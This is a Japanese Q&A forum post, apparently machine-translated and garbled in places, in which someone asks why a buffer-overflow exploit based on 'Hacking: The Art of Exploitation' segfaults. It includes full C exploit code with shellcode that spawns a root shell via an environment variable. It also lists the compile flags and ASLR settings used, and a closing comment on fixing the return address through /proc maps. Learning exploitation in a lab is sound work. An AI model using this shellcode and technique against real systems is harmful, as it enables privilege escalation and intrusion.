私はこのコードを「Hacking:The Exploitation of The Art of Exploitation」に触発されています。これには、環境変数を使用してバッファーオーバーフローを利用することが含まれます。開発コード:環境変数を使用したバッファオーバーフロー
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd"
"\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;
char *buffer = (char *)malloc(160);
ret = 0xbffffffa - sizeof(shellcode) - strlen("./auth_overflow");
for (i = 0; i < 160; i += 4)
*((unsigned int *)(buffer + i)) = ret;
execle("./auth_overflow", "auth_overflow", buffer, (char *)NULL, env);
free(buffer);
}
問題はベースアドレス0xbffffffa
です。私はhereを読んでいます。なぜなら、このアドレスの理由は「Linuxカーネルはそういう形で実装されているからです」ということです。それでも、このエクスプロイトは機能していないため、セグメンテーション違反が発生します。
私は、64ビットマシン上でカーネルのバージョン3.13.0-83-generic
でUbuntu 14.04
を実行していると私は、次のコマンドを使用して搾取・コードをコンパイルしています:
gcc -m32 -fno-stack-protector -z execstack -g exploit.c -o exploit
私もASLRを無効に。
このアドレスの決定方法に関するご意見はありますか?
ありがとうございました。
私が覚えている限り、この本は、上記の悪用はNOPスレッドを必要としないという利点があると言っています。 しかし、/ proc/<>/mapsを調べると、現在のプロセスのスタックアドレスを取得するのに役立ちました。今、悪用が機能します。 –